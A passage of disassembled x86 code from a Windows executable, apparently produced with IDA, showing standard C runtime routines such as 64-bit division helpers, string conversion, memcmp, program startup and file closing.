		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_427098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB938, 0Dh
		mov	dword_4DB93C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB9F4
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB9F4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43CBC4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9B8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43CBC4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9B8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: .packed:0041D6C0j
					; .packed:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: .packed:0041D6CBj
					; .packed:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: .packed:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: .packed:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: .packed:0041D703j
					; .packed:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: .packed:0041D6C6j
					; .packed:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: .packed:0041D6F5j
					; .packed:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: .packed:0041D72Fj
					; .packed:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB9F4, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43CBC4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C9B8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C9B8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB9F4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB9F4, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBA04
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41D92D
		call	dword_42708C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB938, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C9B8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBA04
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB9F4, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBA04
		call	dword_427180	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D933	proc near		; CODE XREF: start+200j
					; .RLPack:004FC4CDp
					; DATA XREF: ...

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427720
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_4271B0	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4DB950, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4DB94C, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4DB948, ecx
		shr	eax, 10h
		mov	dword_4DB944, eax
		xor	esi, esi
		push	esi
		call	sub_41DDD2
		pop	ecx
		test	eax, eax
		jnz	short loc_41D99F
		push	1Ch
		call	sub_41DA4E
		pop	ecx


loc_41D99F:				; CODE XREF: sub_41D933+62j
		mov	[ebp+var_4], esi
		call	sub_423302
		call	dword_4271AC	; GetCommandLineA
		mov	dword_4DCFCC, eax
		call	sub_4231D0
		mov	dword_4DB9A8, eax
		call	sub_422F83
		call	sub_422ECA
		call	sub_41B784
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_4271A8	; GetStartupInfoA
		call	sub_422E72
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_41D9EC
		movzx	eax, [ebp+var_2C]
		jmp	short loc_41D9EF
; ---------------------------------------------------------------------------


loc_41D9EC:				; CODE XREF: sub_41D933+B1j
		push	0Ah
		pop	eax


loc_41D9EF:				; CODE XREF: sub_41D933+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_42709C	; GetModuleHandleA
		push	eax
		call	sub_401221
		mov	[ebp+var_60], eax
		push	eax
		call	sub_41B7B1
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_422CEE
		pop	ecx
		pop	ecx
		retn
sub_41D933	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_41B7C2

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; sub_422ECA+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_4DB9B0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A980
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA4E	proc near		; CODE XREF: sub_41D933+66p

arg_0		= dword	ptr  4

		cmp	dword_4DB9B0, 1
		jnz	short loc_41DA5C
		call	sub_423590


loc_41DA5C:				; CODE XREF: sub_41DA4E+7j
		push	[esp+arg_0]
		call	sub_4235C9
		pop	ecx
		push	0FFh
		call	dword_427064	; ExitProcess
		retn
sub_41DA4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DCD80
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		call	dword_427068	; CloseHandle
		test	eax, eax
		jnz	short loc_41DAEB
		call	dword_42708C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB93C, 0
		mov	dword_4DB938, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
